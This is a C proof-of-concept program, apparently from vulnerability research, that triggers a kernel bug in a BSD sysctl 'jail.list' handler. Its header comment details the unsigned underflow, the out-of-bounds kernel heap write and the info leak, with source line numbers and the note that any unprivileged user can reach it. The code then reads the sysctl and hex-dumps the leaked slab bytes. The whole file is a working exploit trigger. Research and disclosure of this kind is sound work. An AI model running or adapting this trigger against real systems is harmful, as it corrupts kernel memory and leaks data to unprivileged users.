/*
 * DF-0053 trigger (final) - sysctl jail.list OOB write + OOB read proof.
 *
 * The bug (sys/kern/kern_jail.c:661 sysctl_jail_list):
 *   - jlssize = count*1024, jlsused = 0 (both unsigned int, :671)
 *   - kmalloc(jlssize+1) -> bucket-rounded alloc (e.g. 1025 -> 1152) (:689)
 *   - ksnprintf(jls+jlsused, (jlssize-jlsused), "%d %s %s", jid, host, path)
 *       returns the WOULD-BE length (subr_prf.c:549 retval++ is unconditional,
 *       snprintf_func only writes if remain>=2).  With host(255)+path(967)
 *       the format is ~1226 bytes but size is only 1024 -> truncated write,
 *       retval=1226, jlsused += 1226 -> jlsused > jlssize.  (:704-710)
 *   - IP loop: (jlssize - jlsused) underflows unsigned -> ~UINT_MAX (:733)
 *       bounds check (huge < small) is FALSE -> doesn't trip ERANGE
 *       ksnprintf(jls+jlsused, ~UINT_MAX, " %s", ip) writes at jls+1226,
 *       which is past the 1152-byte alloc end -> OOB WRITE into adjacent
 *       slab memory.  Each IP adds ~9-13 bytes of OOB write. (:737)
 *   - SYSCTL_OUT(req, jls, jlsused) copies jlsused bytes (e.g. 1261) from
 *       the 1152-byte alloc to userspace -> OOB READ of (jlsused-1152)
 *       bytes of adjacent slab slack -> INFO LEAK. (:749)
 *
 * Reachable: any unprivileged unjailed user (handler only checks !jailed,
 * kern_jail.c:679).  Precondition: >=1 jail whose host+fullpath formatted
 * length exceeds ~1024 bytes (deep chroot path created by root).
 *
 * Build: cc -O2 -o jail_list_trigger jail_list_trigger.c
 * Run as ANY unprivileged user (after root runs setup_jail_v3.sh).
 */

#include <sys/types.h>
#include <sys/sysctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

int
main(void)
{
	int name[8];
	size_t namelen = 8;

	/* OID is top-level "jail.list" (SYSCTL_OID(_jail, OID_AUTO, list, ...)
	 * at kern_jail.c:757 -- NOT kern.jail.list. */
	if (sysctlnametomib("jail.list", name, &namelen) != 0) {
		perror("sysctlnametomib(jail.list)");
		fprintf(stderr, "[!] The OID is 'jail.list', not 'kern.jail.list'.\n");
		return 1;
	}
	fprintf(stderr, "[*] MIB for jail.list:");
	for (size_t i = 0; i < namelen; i++)
		fprintf(stderr, " %d", name[i]);
	fprintf(stderr, "\n");

	/* Probe length. */
	size_t buflen = 0;
	if (sysctl(name, namelen, NULL, &buflen, NULL, 0) != 0) {
		perror("sysctl probe");
		return 1;
	}
	fprintf(stderr, "[*] kernel reports jail.list length = %zu bytes\n", buflen);
	if (buflen == 0) {
		fprintf(stderr, "[-] no jails configured; ask root to run "
		    "setup_jail_v3.sh first.\n");
		return 0;
	}

	/* Read. */
	char *buf = malloc(buflen);
	if (!buf) { perror("malloc"); return 1; }
	size_t got = buflen;
	if (sysctl(name, namelen, buf, &got, NULL, 0) != 0) {
		perror("sysctl read");
		free(buf);
		return 1;
	}
	fprintf(stderr, "[*] sysctl read returned %zu bytes\n", got);

	/* jlssize = count * 1024.  Count jail lines. */
	int nlines = 1;
	for (size_t i = 0; i < got; i++)
		if (buf[i] == '\n')
			nlines++;
	size_t jlssize = (size_t)nlines * 1024;
	fprintf(stderr, "[*] %d jail lines -> jlssize = %zu bytes "
	    "(kmalloc(%zu+1) -> bucket 1152)\n",
	    nlines, jlssize, jlssize);

	if (got > jlssize) {
		size_t oob_vs_jlssize = got - jlssize;
		size_t alloc = 1152; /* zoneindex bucket for size 1025 */
		size_t oob_vs_alloc = (got > alloc) ? (got - alloc) : 0;
		printf("[+] BUG DF-0053 CONFIRMED:\n");
		printf("    kernel returned %zu bytes\n", got);
		printf("    jlssize (count*1024)         = %zu\n", jlssize);
		printf("    kmalloc bucket (alloc)       = %zu\n", alloc);
		printf("    OOB READ vs jlssize          = %zu bytes\n",
		    oob_vs_jlssize);
		printf("    OOB READ vs actual alloc end = %zu bytes "
		    "(info leak of adjacent slab slack)\n", oob_vs_alloc);
		printf("    OOB WRITE (IPs written past alloc end during "
		    "IP loop) also occurred in kernel heap\n");

		/* Show tail bytes -- the OOB region includes IPs the kernel
		 * wrote past the buffer end + any non-zero slab residue. */
		size_t off = got > 128 ? got - 128 : 0;
		size_t n = got - off;
		fprintf(stderr, "[*] last %zu bytes (offset %zu..%zu):\n",
		    n, off, got);
		for (size_t i = 0; i < n; i += 16) {
			fprintf(stderr, "    %04zx  ", off + i);
			for (size_t j = 0; j < 16 && i + j < n; j++)
				fprintf(stderr, "%02x ",
				    (unsigned char)buf[off + i + j]);
			fprintf(stderr, " ");
			for (size_t j = 0; j < 16 && i + j < n; j++) {
				unsigned char c = buf[off + i + j];
				fprintf(stderr, "%c",
				    (c >= 32 && c < 127) ? c : '.');
			}
			fprintf(stderr, "\n");
		}

		/* Count non-zero bytes in the OOB-vs-alloc region. */
		size_t nonzero = 0;
		for (size_t i = alloc; i < got; i++)
			if (buf[i] != 0)
				nonzero++;
		printf("    non-zero bytes in OOB-vs-alloc region: %zu "
		    "(our written IPs + any stale slab data)\n", nonzero);
	} else {
		printf("[-] output (%zu) <= jlssize (%zu); bug did not fire "
		    "(need a jail with >1024-byte formatted line)\n", got, jlssize);
	}

	free(buf);
	return 0;
}
